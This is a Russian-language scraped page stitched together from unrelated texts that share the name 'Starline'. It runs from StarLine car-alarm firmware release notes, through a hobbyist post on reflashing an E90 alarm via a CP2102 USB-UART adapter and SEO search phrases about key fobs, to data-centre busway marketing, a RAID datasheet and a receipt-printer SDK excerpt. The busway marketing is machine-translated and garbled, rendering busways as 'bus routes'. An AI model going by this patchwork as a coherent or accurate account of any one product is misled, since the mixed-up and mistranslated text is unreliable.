2. 2.X.X E96 BT M66 не передает на сервер информацию об оставшемся времени работы двигателя и предпускового подогревателя в режиме дистанционного или автоматического запуска охранным комплексом E96BT.
3. 2.X.X A96 AS96(V2) B96 D96 S96 X96(V2) Не работает экстренная смена М1 с гостевого телефона при отключенной настройке «Управление с гостевых телефонов».
4. 2.X.X Не работает контроль свечей накала на автомобилях с замком зажигания.
5. 2.X.X A96 AS96(V2) B96 D96 S96 X96(V2) В смс об ошибке остановки двигателя может не распечатываться команда.
6. 2.X.X Штатный KeyLess доступ не блокируется в состоянии «Ожидание авторизации» и «Запрет поездки».
7. 2.X.X Не всегда отключается НР-блокировка двигателя при постановке в охрану.
8. 2.X.X A96 AS96(V2) B96 D96 S96 X96(V2) Нестабильно работает 3G-модем после его включения или перезагрузки.
9. 2.X.X A96 AS96(V2) B96 D96 S96 X96(V2) В некоторых случаях соединение с сервером отсутствует длительное время из-за ошибок в настройке мобильного интернета.
10. 2.X.X Не работает настройка «Длительность импульса замка капота». Длительность импульса замка капота не меняется при изменении значения настройки.
11. 2.X.X При тревоге сразу после подачи питания не всегда включается сирена
12. 2.X.X При комбинированном автозапуске после работы предпускового подогревателя двигатель не запускается.
13. 2.X.X Не работает ДЗ после штатного запуска.
14. 2.X.X A96 AS96(V2) B96 D96 E96 BT S96 X96(V2) При переходе в тревогу по нарушению зоны капота и дальнейшем восстановлении зоны R6 не дозапирает замок капота.
15. 2.18.0 Не работает управление некоторыми предпусковыми подогревателями через розовый + серо-черный провода.
16. 2.18.0 На каналы нельзя назначить LIN-функции для автомобилей с интефейсами RX/TX и IMO/IMI.
17. 2.X.X Предъявление брелока или метки не отменяет тревогу по открытому багажнику, если в нее попали по не пройденной авторизации из состояния «Охрана с открытым багажником».
18. 2.18.1 В некоторых случаях не работает настройка «Действие через час после включения поддержки зажигания».
19. 2.17.5 Не всегда осуществляется переход R6ECO в режим программирования при питании от зажигания.
20. 2.17.8 Не работает обучение и обход штатного иммобилайзера на автомобилях компании GM (Chevrolet Cruze/Captiva/Malibu/Orlando/Spark, Opel Astra K), а также на Ravon R2.
21. 2.X.X A96 AS96(V2) B96 D96 E96 E96 BT X96(V2) Брелоки при авторизации обнаруживаются на слишком большом расстоянии.

2.19.4 — StarLine S96

Изменен алгоритм работы с SIM-картами

A96 AS96(V2) B96 D96

Изменен алгоритм работы с SIM-картами для устройств, в которых установлен модуль с SIM-картой и SIM-чипом.

Теперь, если выбрана настройка «Количество используемых SIM-карт» = 1:

• Настройка «Приоритеты SIM-карт» заменяется на настройку «Используемая SIM-карта»
• Система начинает работать с выбранной SIM-картой без переключений на другую SIM-карту
• На сервере отображается баланс только выбранной SIM-карты
• При запросе баланса через SMS, приходит баланс только для выбранной SIM-карты

Изменена длительность импульса клаксона в алгоритме обучения обхода штатного иммобилайзера

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Уменьшена длительность звукового сигнала клаксона при при обучении обхода штатного иммобилайзера при аналоговом подключении.

Изменены названия настроек «Максимально допустимая температура двигателя при АЗ/ДЗ» и «Управлять ЦЗ в Slave»

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Настройка «Максимально допустимая температура двигателя при АЗ/ДЗ,°C» переименована в «Максимально допустимая температура двигателя при АЗ/ДЗ/ТТ/ПЗ,°C».

Настройка «Управлять ЦЗ в Slave» переименована в «Дополнительное управление ЦЗ в режиме Slave».

Изменено значение по умолчанию настройки «Управление сиреной при постановке/снятии с охраны штатной системой охраны»

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Значение по умолчанию изменено на «Подтверждать звуковыми сигналами, если статус охраны меняется».

Добавлена настройка «Время работы двигателя не ограничено» в личном кабинете и мобильном приложении

A96 AS96(V2) B96 D96 S96 X96(V2)

В личном кабинете на сайте и мобильном приложении добавлена настройка «Время работы двигателя не ограничено».

Настройка расположена на вкладке «Запуск двигателя».

Изменено название события «SMS» гибкой логики

A96 AS96(V2) B96 D96 E96 BT S96 X96(V2)

Изменен текст для типа события гибкой логики «SMS».

Изменен алгоритм блокировки двигателя

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Настройка «Блокировать только заведенный двигатель» изменена на «Блокировать при срабатывании датчика движения».

Добавлена настройка «Длительность блокировки», которая настраивает длительность блокировки при включённой настройке «Блокировать при срабатывании датчика движения».

Настройка «Блокировать двигатель только при нажатии педали тормоза» изменена на настройку «Блокировать двигатель в антиограблении только при нажатии педали тормоза».

Изменен алгоритм включения блокировки двигателя в режиме «Антиограбление»: при отсутствии данных о скорости автомобиля и отсутствии нажатия на педаль тормоза (проверка педали тормоза осуществляется при включенной настройки «Блокировать двигатель в антиограблении только при нажатии педали тормоза«)  в течении 180 секунд производится включение блокировки двигателя.

Добавлена функция блокировки АКПП

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Добавлена функции блокировки АКПП по шине CAN. 

Блокировка включается в режимах «Охрана», «Охрана с открытым багажником», «Тревога», «Ожидание авторизации», «Запрет поездки».

Блокировка активируется при отсутствии выполнения условий авторизации.

В режиме «Антиограбление» блокировка АКПП не включается.

Добавлена настройка отключения опроса штатных кнопок через CAN

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

В сигналы состояния интерфейса CAN добавлена настройка «Штатные кнопки». Данная настройка позволяет, на автомобилях с медленной передачей статусов штатных кнопок по CAN, не использовать эти статусы для ввода кода авторизации.

Изменен ответ на SMS-команду 41

A96 AS96(V2) B96 D96 S96 X96(V2)

В ответное сообщение на SMS-команду 41 добавлена информация об оставшемся времени работы двигателя и предпускового подогревателя.

Добавлены текстовые аналоги для SMS-команды 00581

A96 AS96(V2) B96 D96 S96 X96(V2)

Для успешной регистрации устройств пользователей в личном кабинете, у которых оператор блокирует sms сообщения с пятизначным кодом, добавлены текстовые аналоги SMS-команды 00581 : ПИНКОД и PINCODE.

Добавлена настройка контроля работы двигателя по напряжению

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

На вкладке «Запуск двигателя» в разделе «Контроль работы двигателя» добавлена настройка «Контроль работы по напряжению». При включении этой настройки состояние двигателя определяется по напряжению питания основного блока.

Улучшен алгоритм синхронизации системного времени

A96 AS96(V2) B96 D96 S96 X96(V2)

Перед синхронизацией времени в системе, выполняется проверка на корректность данных, полученных с трех разных серверов точного времени

Добавлена информация о причине неудачного запуска двигателя

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

На вкладке «Диагностика» добавлен вывод сообщений о причинах неудачного запуска двигателя и о повторных попытках запуска двигателя.

Добавлена поддержка новой версии индивидуальных прошивок под автомобили

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Добавлена поддержка новой версии индивидуальных прошивок под автомобили с can. starline.ru

Изменено значение по умолчанию настройки «Выполнять имитацию открытия двери»

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Значение настройки «Выполнять имитацию открытия двери» по умолчанию заменено на «Только в охране».

Добавлены действия гибкой логики для функции «Комфорт»

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

В действия гибкой логики в список «Состояние охранного комплекса» добавлена функция «Комфорт» со значениями:

Выбранная функция комфорта не будет запускаться при постановке в охрану до включения зажигания в состоянии «Снято с охраны».

Добавлена возможность чтения и записи настроек E96BT в связке E96BT+M66/GSM-GPS

E96 BT

В связке E96BT+M66/GSM-GPS для настройки E96BT можно использовать starline-online.ru либо мобильное приложение.

Добавлена возможность отправки SMS-сообщения на номера M2-M4 через гибкую логику

A96 AS96(V2) B96 D96 S96 X96(V2)

В действия гибкой логики была добавлена возможность отправки SMS-сообщений на номера M2-M4.

1. A96 AS96(V2) B96 D96 S96 X96(V2) Разрешена экстренная смена М1 с гостевого телефона при отключенной настройке «Управление с гостевых телефонов».
2. Не работал контроль свечей накала на автомобилях с замком зажигания.
3. A96 AS96(V2) B96 D96 S96 X96(V2) В смс об ошибке остановки двигателя всегда печатается команда.
4. Штатный KeyLess доступ блокируется во всех охранных состояниях, включая «Ожидание авторизации» и «Запрет поездки».
5. E96 BT M66 передает на сервер информацию об оставшемся времени работы двигателя и предпускового подогревателя в режиме дистанционного или автоматического запуска охранным комплексом E96BT.
6. Не всегда отключалась НР-блокировка двигателя при постановке в охрану.
7. A96 AS96(V2) B96 D96 S96 X96(V2) Стабилизирована работа 3G-модема после его включения или перезагрузки.
8. Не работала настройка «Длительность импульса замка капота». Длительность импульса замка капота была всегда фиксированной вне зависимости от настройки.
9. Управление сиреной восстанавливается при включенном ограничении управления силовыми цепями после превышения порога напряжения в одном цикле тревоги.
10. При комбинированном автозапуске после работы предпускового подогревателя двигатель запускается.
11. A96 AS96(V2) B96 D96 S96 X96(V2) В некоторых случаях соединение с сервером отсутствовало длительное время из-за ошибок в настройке мобильного интернета.
12. После штатного запуска ДЗ запускается.
13. A96 AS96(V2) B96 D96 E96 BT S96 X96(V2) При переходе в тревогу по нарушению зоны капота и дальнейшем восстановлении зоны R6 дозапирает замок капота.
14. A96 AS96(V2) B96 D96 E96 BT S96 X96(V2) Улучшена стабильность работы с Bluetooth устройствами.
15. A96 AS96(V2) B96 D96 E96 E96 BT X96(V2) Предъявление брелока или метки отменяет тревогу по открытому багажнику, если в нее попали по не пройденной авторизации из состояния «Охрана с открытым багажником».
16. В некоторых случаях настройка «Действие через час после включения поддержки зажигания» не работала.
17. A96 AS96(V2) B96 D96 E96 BT S96 X96(V2) Не всегда осуществлялся переход R6ECO в режим программирования при питании от зажигания.
18. E96 BT В связке E96BT+M66 при соединении по BLE запрос OBD-ошибок выполнялся каждую минуту вне зависимости от включенного зажигания и скорости.
19. Не работало обучение и обход штатного иммобилайзера на автомобилях компании GM (Chevrolet Cruze/Captiva/Malibu/Orlando/Spark, Opel Astra K), а также на Ravon R2.
20. A96 AS96(V2) B96 D96 E96 BT S96 X96(V2) Отсутствовало оповещение о разряженной батарейке в метке.
21. E96 BT В связке E96BT+M66 некорректно передавалось значение топлива на сервер.
22. A96 AS96(V2) B96 D96 S96 X96(V2) В некоторых случаях терялось соединение с сервером/мобильным приложением, переставали работать звонки и SMS. При этом абонент был в зоне доступа (на входящие звонки гудки). Чаще всего проявлялось в устройствах без GPS.
23. В некоторых случаях не работал запуск двигателя после глушения.
24. A96 AS96(V2) B96 D96 S96 X96(V2) Не отправлялась смс о дистанционном запуске двигателя.

1. 2.X.X E96 BT Команда отправленная на M66 не будет выполнена охранным комплексом E96BT, если на момент ее получения нет связи между E96BT и M66 по BLE.
2. 2.19.4 Нестабильно работает оповещение о разряженной батарейке в брелке.
3. 2.19.4 Не включается видеорегистратор по активному зажиганию при выходе из сервисного режима.
4. 2.18.2 Нет импульса на кнопку старт-стоп после выполнения программной нейтрали при запуске по CAN-LIN.
5. 2.17.7 A96 AS96(V2) B96 D96 S96 X96(V2) В некоторых случаях в смс о тревоге распечатываются ложные данные.
6. 2.18.2 В гибкой логике не работают события «Метка №X».
7. 2.19.4 A96 AS96(V2) B96 D96 E96 E96 BT X96(V2) В некоторых случаях на брелок приходит лишнее оповещение о глушении двигателя.
8. 2.17.0 A96 AS96(V2) B96 D96 E96 E96 BT X96(V2) Брелоки при авторизации обнаруживаются на слишком большом расстоянии.
9. 2.18.1 Сбрасываются настроенные «Сигналы состояния» и «Функции управления» в CAN после подключения охранного блока к Starline Master.
10. 2.X.X A96 B96 D96 S96 X96(V2) На Дальнем Востоке не определяется местоположение по LBS для SIM-карт МТС.
11. 2.X.X A96 AS96(V2) B96 D96 E96 BT S96 X96(V2) Не включается блокировка на R6ECO при отключении и включении питания основного блока, если до отключения питания комплекс был в охране.
12. 2.19.4 E96 BT Не работает автозапуск по будильнику в связке E96+M66/GSM-GPS, если он настраивался со starline-online.ru или мобильного приложения.
13. 2.19.4 Преждевременная остановка работы турботаймера при запуске по CAN-LIN приводила к тревоге.
14. 2.X.X Не работает задержка включения модуля обхода при запуске по CAN-LIN.
15. 2.X.X E96 E96 BT В устройствах последней ревизии невозможно настроить аналоговые функции на каналы XS1-8 и XS1-9.
16. 2.X.X X96(V2) В случае, если комплекс долгое время не управляется с помощью брелока, брелок может перестать получать информацию от комплекса.

Обновление прошивки противоугонной системы Starline E90 — Автосигнализации

Так уж получилось, что любая вещь становится для меня более интересной, если ее можно соединить с компьютером. А если еще из такого «соседства» выходит практическая польза, то это вдвойне плюс! Впрочем, все это предисловие, а суть состоит в следующем.

Некоторое время назад я приобрел для своего автомобиля сигнализацию Starline E90. Почти сразу же после покупки выяснилось, что у данной модели сигнализации существует несколько ревизий, отличающихся версией прошивки, и, вероятно, железом. Купленное мной устройство было выпущено в 2013 году, соответственно, имело не самую свежую прошивку, а какой же гик не любит новейших версий ПО! Как оказалось в дальнейшем, версию прошивки моей автосигнализации можно достаточно легко обновить. Осторожно, под катом скриншоты!

Бродя по просторам интернета, я встретил информацию о том, что официальные дилеры и установщики сигнализаций Starline имеют возможность обновлять версии прошитого программного обеспечения, и, что немаловажно, для этого не требуется JTAG, как я было подумал. Для обновления программного обеспечения изготовитель предоставляет автосервисам программатор с подключением к компьютеру посредством USB интерфейса, и автосигнализация может программироваться с помощью данного программатора как отдельно — «на столе», так и будучи установленной в автомобиле, соединяясь с программатором через штатный кабель, который используется для подключения трансивера — модуля, устанавливаемого на лобовом стекле для связи с брелком сигнализации. А программное обеспечение для компьютера (далее — «Прошивальщик»), непосредственно выполняющее обновление прошивки, доступно для скачивания с сайта производителя. И я решил «на всякий пожарный случай» скачать его.

Сначала я предполагал, что в программаторе используется какое-либо особое железо, специально разработанное проиводителем для исключения «нелегального» обновления прошивок, скорее всего, с интерфейсом вроде SPI, с шифрованием, ключами доступа, и прочими особенностями. Но так бы и не узнал я ничего нового для себя, если бы не обратил внимания в процессе установки «прошивальщика», что в состав дистрибутива входит и устанавливается драйвер на… Обычный USB-to-UART преобразователь CP2102!

Установка драйвера

Внимание! Все описанное далее Вы можете повторять только на свой страх и риск, автор данной статьи не несет никакой ответственности за возможный ущерб, снятие с гарантии, возгорание, утопление, наводнение и прочие бедствия, которые могут обрушиться на Вас и ваш автомобиль после прочтения.

У меня уже достаточно давно был под руками заказанный на DX дешевый модуль, собранный как раз на этой микросхеме. Воткнув USB-свисток в порт компьютера и запустив программу, я увидел на экране своего монитора, что Прошивальщик обнаружил программатор:

Тут стало понятно, что есть шанс подключиться к автосигнализации и посмотреть, что из этого выйдет. С помощью мультиметра, прозвонкой на провод подключения к «массе» автомобиля, я установил положение общего (земляного) контакта в разъеме подключения радиомодуля, и, уточнив осциллографом положение цепей RX и TX, собрал следующую схему:

Отключив «прошивочную» перемычку на землю, я переподключил питание сигнализации и USB-модуль. Прошивальщик успешно обнаружил сигнализацию с новой прошивкой, и после нажатия кнопки «Настройка» я получил доступ к меню установки параметров, что и требовалось!

Думается, что и для других моделей противоугонной системы торговой марки Starline можно будет попробовать применить найденное мной решение, при условии, что первоначальная версия прошивки будет иметь загрузчик.

Спасибо производителю за то, что не стал слишком сильно мудрить и оставил открытой лазейку для простых пользователей. Далеко не во всех сервисных центрах возьмутся перепрошивать сигнализацию, а ведь наверняка данная процедура не будет бесплатной. Так что мне удалось сэкономить немного времени, денег, и еще получить некоторый опыт и хорошее настроение.

Спасибо за внимание!

сажает ли сигнализация аккумулятор

как запрограммировать брелок от сигнализации

пульт управления сигнализацией автомобиля

инструкция по эксплуатации сигнализации

как перекодировать брелок сигнализации

как сделать дубликат брелка сигнализации

Starline Busway Monitoring: все, что вам нужно знать

Современные центры обработки данных становятся все более плотными и сложными, поскольку вычислительным устройствам требуется гораздо более высокая плотность мощности в стойке. Это может вызвать проблемы с распределением питания, прокладкой кабелей и охлаждением, и владельцы и операторы центров обработки данных должны идти в ногу с постоянно растущими требованиями ИТ-инфраструктуры. При проектировании пространства центра обработки данных менеджеры центра обработки данных нуждаются в способе соответствовать растущим требованиям к электропитанию для критически важной инфраструктуры в стойках при одновременном снижении сложности современных сред центров обработки данных.Таким образом, многие менеджеры центров обработки данных развертывают Starline Track Busway для своей архитектуры распределения электроэнергии и программное обеспечение для управления инфраструктурой центра обработки данных (DCIM) для ее мониторинга.

«Электропитание, пространство и охлаждение — три самых важных столпа, которые вы всегда должны учитывать при проектировании пространства вашего центра обработки данных», — говорит эксперт по центрам обработки данных Бен Фрейм, специалист технического профиля, работавший в широком диапазоне технических и наставник как в ИТ, так и в операциях, а также имеет опыт интеграции и разработки систем с упором на соблюдение требований безопасности.«Получение и распределение электроэнергии иногда может быть сложной задачей, поскольку все доступные варианты зависят от ваших требований. Будет ли пространство статичным или оно будет колебаться из-за того, что оборудование постоянно приходит и уходит? Резервирование питания и безопасность, и особенно простота доступа для технических специалистов, часто являются приоритетом ».

Что такое Starline Busway?

Starline Track Busway — это автономная воздушная система распределения электроэнергии, что означает отсутствие кабелей, потенциально препятствующих воздушному потоку.Он чрезвычайно энергоэффективен, имеет модульную конструкцию, оборудован для распределения энергии с высокой плотностью, разработан и рассчитан на соответствие и превышение требований надежности и тепловых требований критически важных объектов.

Starline исключает использование распределительных панелей традиционных систем, позволяя легко добавлять и изменять без отключения питания. Автономные съемные блоки могут быть вставлены в любом месте автобусного пути почти в любой конфигурации NEMA, и они имеют меньше механических соединений для повышения эффективности и надежности.

Каковы преимущества Starline Busway по сравнению с удаленными панелями питания (RPP) и силовыми штырями?

Силовой штырь — это силовой распределительный кабель ответвленной цепи, который передает питание от удаленной панели питания (RPP) к серверному шкафу, обычно под фальшполом. Некоторые менеджеры центров обработки данных предпочитают эту систему из-за ее более низких начальных затрат, мобильности, короткого времени выполнения заказа и возможности установки любым подрядчиком по электрике. Другие считают, что RPP препятствуют гибкости, требуют сложного добавления цепей, требуют прокладки нового кабеля, ограничивают поток воздуха и делают удаление плитки необходимым для любой работы.

«Шинопроводы Starline предлагают отличную гибкость и простоту использования с всегда доступными воздушными соединителями; просто подключи и крути, и у тебя будет сила », — говорит Фрейм. «Они особенно полезны как для увеличения существующего пространства, так и для будущего планирования, когда растущий спрос может привести к необходимости увеличения плотности стойки. Четкие линии и простая организация кабелей питания также улучшают эстетику поездок руководителей по пространству вашего центра обработки данных ».

«Однако есть некоторые предостережения, — продолжает Фрейм.«Легкий доступ и отсутствие физических ограничений сопряжены с риском того, что будет довольно легко перевыполнить подписку на потребляемую мощность, поэтому необходимо тщательное планирование».

Преимущества автобусных маршрутов Starline включают:

• Снижение затрат на строительство и сокращение времени строительства . Верхняя мощность может устранить необходимость в фальшполе.
• Сниженная человеческая ошибка . Человеческая ошибка — это причина номер один простоев центров обработки данных. Уменьшая количество кабелей в центре обработки данных, дополнительное питание снижает вероятность ошибок в кабелях.
• Увеличенная вместимость . Можно постепенно отказаться от дорогостоящего оборудования, такого как RPP и PDP, что сэкономит деньги, создаст больше полезного пространства и устранит потенциальные точки отказа.
• Гибкость . Верхнее питание позволяет добавлять или удалять цепи за считанные минуты.
• Повышенная энергоэффективность . Улучшите воздушный поток и охлаждение, удалив воздушные заслонки кабеля под полом, и уменьшите байпасный воздушный поток, исключив отверстия для доступа к кабелю, такие как щетки и втулки.
• Масштабируемость . При необходимости можно добавить подключения к источнику питания, отсрочив расходы до тех пор, пока шкафам не потребуется питание.
• Модульность . Различная плотность мощности может подаваться с помощью одной и той же автобусной инфраструктуры.
• Легко настраивается . Одна и та же инфраструктура шинопровода может использоваться для однофазных и трехфазных нагрузок.
• Надежность . Стыки Starline не требуют обслуживания и повторной затяжки. Сменные блоки имеют самое высокое среднее время наработки на отказ (MTBF) из всех доступных на рынке благодаря отсутствию движущихся частей или медной смазки для обеспечения хорошего механического и электрического соединения.
• Возможность настройки . Сменные блоки Starline и длины шинопровода спроектированы и спроектированы в соответствии со спецификациями заказчика.
• Безопасность . Starline предоставляет возможности для устранения или значительного снижения энергопотребления или удаленного управления подключаемыми модулями, а также имеет самый высокий рейтинг IP в отрасли (до IP3X с некоторыми опциями).

Как контролировать автобусы Starline?

При наличии подходящего программного обеспечения для управления инфраструктурой центра обработки данных (DCIM) легко централизованно управлять всеми ответвителями и конечными подачами Starline.Sunbird Software, как стратегический партнер Starline по программному обеспечению, предоставляет информацию, необходимую для полноценного использования инфраструктуры Starline Track Busway, одновременно предупреждая вас о проблемах до того, как они приведут к простоям, влияющим на обслуживание. Решение Sunbird Power IQ® для мониторинга мощности, энергии и окружающей среды центра обработки данных масштабируется в соответствии с вашими потребностями, позволяя вам безопасно отслеживать все ваши ответвительные коробки и оконечные устройства Starline Busway, а также другие CRAC, ИБП, PDU, RPP, счетчики, ответвления схемы, стоечные PDU, датчики окружающей среды и электронные дверные замки — все в одном удобном веб-браузере.

Sunbird Software и Starline вместе составляют комплексное решение. В обоих случаях у вас будет гибкая, эффективная и управляемая архитектура распределения питания, а также программное обеспечение, позволяющее достичь следующих целей:

• Найдите резервные мощности на линиях питания стойки . Новые мощности откладывают дорогостоящие капитальные вложения.
• Потребность в мощности по проекту в будущем . Прогнозы тенденций и дней поставок позволяют делать точные прогнозы.
• Визуализируйте энергопотребление на уровне стойки и ряда .Легко анализируйте общее использование по сравнению с запланированной емкостью в шкафу и конечных подачах и отслеживайте тенденции использования с течением времени.
• Имитация аварийного переключения стойки . В отчетах указывается доступная мощность для обеспечения избыточности в случае сбоя.
• Визуализация состояния центра обработки данных и оборудования . Карта работоспособности этажа вашего центра обработки данных с красной, желтой и зеленой цветовой кодировкой обеспечивает быстрое представление уровней нагрузки стойки, линейных токов и всех условий окружающей среды. Виджет диаграммы состояния с несколькими плитками предоставляет красные, желтые и зеленые данные о состоянии для всех комнат вашего центра обработки данных, POD, зон, строк и стоек на одном экране с возможностью детализации для получения полной информации.
• Оповещение и тревога о нарушениях порога . Автоматические электронные письма позволяют быстро определять условия перегрузки по току, нарушения пороговых значений нагрузки выключателя, проблемы трехфазного баланса и потенциальные области неисправностей.
• Эффективность использования энергии в реальном времени (PUE) . Смотрите в реальном времени измерения общей энергии предприятия по сравнению с общим объемом энергии вашего ИТ-оборудования, чтобы измерить эффективность и определить возможности для улучшения.
• Счет за электроэнергию в соответствии с потреблением .Автоматически генерируемые отчеты о счетах способствуют более эффективному использованию энергии .

Эксперт по центрам обработки данных Бен Фрейм дает дополнительную информацию о мониторинге автобусной магистрали Starline. «Critical Power Monitor (CPM) — это модуль, который подключается непосредственно к шине и контролирует энергопотребление всех нисходящих соединений», — говорит Фрейм. «Как и большинство интеллектуальных устройств питания, он предоставляет эту информацию через настраиваемый протокол SNMP».

Фрейм продолжается: «CPM поставляется предварительно настроенным для DHCP, но потребует немного ручной работы, если ваша сеть требует статических IP-адресов.Это означает ручную настройку с использованием ограниченной клавиатуры от светодиодного интерфейса устройства для предоставления адреса и информации о шлюзе. Как только это будет выполнено, вы получите полный доступ к веб-интерфейсу или интерфейсу оболочки, сможете удаленно выполнять задачи настройки и обновления прошивки, а также сможете загружать свои данные прямо в Power IQ ».

«Простой уровень шины, предоставляемый СРМ Starline, является отличным дополнением к вашему отслеживанию мощности. Поскольку Power IQ отмечает CPM как шину, а не как стоечный PDU, вы можете избежать дублирования данных на информационных панелях, а с добавлением PDU или мониторинга сервера вы можете сравнивать несколько источников из нескольких точек на вашем пути на предмет потери эффективности. .”

Sunbird DCIM полностью поддерживает все серии, модели и счетчики Starline. Загрузите нашу таблицу данных Starline Track Busway Monitoring с помощью программного обеспечения Power IQ DCIM, чтобы узнать:

• Типичное место, в котором размещается счетчик Starline, будь то конец строки или ответвитель над стойкой.
• Указывает, собирает ли Power IQ данные со входа или выхода счетчика.
• Какие данные Power IQ собирает для каждого счетчика, например, ватт, коэффициент мощности, киловатт-час, кВА и амперы.
• И многое другое.

Каковы преимущества мониторинга шин Starline с помощью DCIM?

Совместное решение Starline busways и Sunbird DCIM поможет вам сократить операционные расходы за счет:

• Автоматизация ручных и трудоемких процессов.
• Устранение необходимости вручную запрашивать доступные ресурсы путем отправки технических специалистов в центр обработки данных.
• Увеличение времени безотказной работы и сокращение необходимости физических поездок в центр обработки данных для восстановления обслуживания.
• Устранение плановых и внеплановых простоев за счет функций профилактического обслуживания.

Plus, Starline и Sunbird DCIM помогут вам сократить и / или отложить капитальные затраты за счет:

• Обеспечение лучшего планирования мощностей и максимального использования существующих ресурсов.
• Улучшение обеспечения и балансировки трехфазного питания и увеличение использования энергосистем.
• Выявление возможностей повышения эффективности для устранения потребности в дополнительных источниках питания.

Объединяя все воедино

Starline Track Busway обеспечивает гибкую, эффективную и управляемую архитектуру распределения энергии. В сочетании с программным обеспечением DCIM это совместное решение значительно улучшает управление мощностью, эффективность и время безотказной работы.

Хотите лично убедиться, как программное обеспечение Sunbird DCIM второго поколения позволяет централизованно управлять всеми ответвительными коробками и полностью использовать шинную инфраструктуру Starline? Совершите бесплатный тест-драйв сегодня.

easyRAID R5 техническое описание (PDF) — starline Computer GmbH

Внутренняя стойка RAID имеет возможность подключения к хосту Parallel ATA / Serial ATA II и устройства SATA II. Каждая модель стойки RAID допускает отказ двух жестких дисков без влияния на существующие данные, и отказавшее восстановление жесткого диска прозрачно для хоста. Стойка RAID представляет собой наиболее экономичную стойку для дисков SATA II. Стойка RAID с полностью интегрированными функциями высокой производительности и защиты данных, которые легко интегрируются в серверы начального уровня.Он также может удовлетворить быстрорастущий спрос со стороны малых и средних предприятий и рынков SOHO. Основные особенности Совместимость хоста IDE / SATA II и устройства SATA II канала Поддержка до 5 портов SATA или диск SATA II Поддержка уровня RAID 0, 1, 10, 3, 5, 6 и механизм ASIC JBOD для поддержки наивысшей скорости RAID 6 Расширение емкости онлайн, уровень RAID / stripe size migration Динамический том в режиме онлайн Установить расширение емкости Встроенное программное обеспечение Диспетчер RAID на основе веб-браузера, диспетчер SMTP и агент SNMP Требуется порт через Ethernet без программного обеспечения Резервный флеш-образ для доступности адаптера Поддержка более 2 ТБ на набор томов Поддержка более 2 ТБ на диск <сильный > easyRAID ® www. easyRAID .com Непревзойденная производительность ER- R5 S-A1 / A — внутренняя стойка RAID предлагает поистине инновационное хост-решение IDE / SATA (3,0 Гбит / с) для использования с вашим ПК и рабочая станция Mac. Стойка ER- R5 S-A1 / A RAID включает в себя встроенные высокопроизводительные процессоры хранения 400 МГц и встроенную память DDR2-400 128 МБ SDRAM для обеспечения настоящего аппаратного RAID. Этот RAID-блок, разработанный и усиленный существующим высокопроизводительным решением, обеспечивает высокую производительность при оптимальном соотношении цена / производительность.Он обеспечивает экономичную подсистему хранения за счет использования порта IDE на основной плате; он может освободить слот PCI. Благодаря архитектуре Intel Accelerated Hub Architecture и VIA Link пропускная способность шины IDE не зависит от шины PCI в новом дизайне набора микросхем, что обеспечивает наилучшую производительность PCI для карты Ethernet, а также обеспечивает подключение к хосту IDE и SATA. Каналы IDE и SATA могут одновременно обращаться к разным наборам томов. Непревзойденная доступность данных По мере того, как емкость хранилищ продолжает быстро увеличиваться, пользователям требуется более высокий уровень отказоустойчивости дисковых накопителей, который можно реализовать, не увеличивая вдвое вложения в дисковые накопители.RAID 6 может предложить более высокую отказоустойчивость, чем RAID 1 или RAID 5, но потребляет только 2 дисковых накопителя для данных с распределенной четностью. Контроллеры SATA RAID с поддерживаемым механизмом RAID 6 высочайшей производительности обеспечивают внутреннюю систему RAID ER-5S-A1 / A наивысшей функцией RAID 6 для удовлетворения этого требования. Стойка RAID может одновременно вычислять два блока четности и обеспечивать производительность, сопоставимую с RAID 5. Им можно управлять через ЖК-панель управления, порт RS232 или порт Ethernet. Во время процесса обновления прошивки контроллера может возникнуть проблема, которая приведет к повреждению прошивки контроллера.С нашей функцией резервного образа флэш-памяти контроллер вернется к последней известной версии прошивки и продолжит работу. Это снижает риск сбоя системы из-за сбоя прошивки. Простое управление Ручную настройку и мониторинг можно выполнить с помощью ЖК-панели управления. Прошивка также содержит встроенную эмуляцию терминала через порт RS-232. Встроенный в прошивку веб-браузер RAID-менеджер позволяет локальному или удаленному доступу к нему из любого стандартного интернет-браузера через LAN или WAN без необходимости в программном обеспечении или исправлениях.Прошивка содержит SMTP-менеджер, который отслеживает все системные события, и пользователь может выбрать одно или несколько уведомлений для пользователей, которые будут отправляться по электронной почте на простом английском языке. Встроенный во встроенное ПО агент SNMP позволяет удаленно отслеживать события через локальную сеть без необходимости использования агента SNMP. Контроллер также поддерживает библиотеку API, чтобы заказчик мог написать свою собственную утилиту монитора.

1. Начало работы — StarPRNT SDK User Manual 1.3.0 документация

1.4.1. Bluetooth

Все устройства Star Bluetooth имеют исходное имя каждого устройства в качестве заводской настройки по умолчанию, например «Star Micronics» и «DK-AirCash».При использовании нескольких устройств с одинаковым именем полезно изменить имя устройства, чтобы легко идентифицировать каждое устройство.

Вы можете изменить настройки LAN / Bluetooth устройства Star POS, например изменить имя устройства Bluetooth. Пожалуйста, используйте утилиту / драйвер.

• Сопряжение устройства Star POS с устройством iOS

  1. Убедитесь, что Bluetooth включен и устройство Star POS включено.

  2. Нажмите «Настройки»> «Bluetooth».

  3. Нажмите Bluetooth, чтобы включить его. Ваше устройство iOS выполняет поиск и отображает доступные устройства Bluetooth. Коснитесь портативного принтера Star, с которым хотите выполнить сопряжение.

  4. Если для сопряжения устройств Star Bluetooth используется PIN-код, введите PIN-код и коснитесь «Сопряжение».

  5. Когда соединение будет завершено, вы увидите это сообщение.

• Как изменить имя устройства Bluetooth

  Вы можете настроить свои POS-принтеры, которые могут подключаться к TCP / IP.Пожалуйста, используйте утилиту / драйвер.

  Чтобы подтвердить имя порта iOS, выберите «Настройки» -> «Общие» -> «О программе» после того, как будет установлено соединение Bluetooth.

  Имя порта iOS будет отображаться под адресом Bluetooth.

1.4.2. Интерфейс Ethernet / беспроводной локальной сети

Назначьте IP-адрес Star Printer и подключите его к сети. Стандартные Star Printers не поставляются с заранее назначенным IP-адресом; это может быть установлено сетью DHCP.

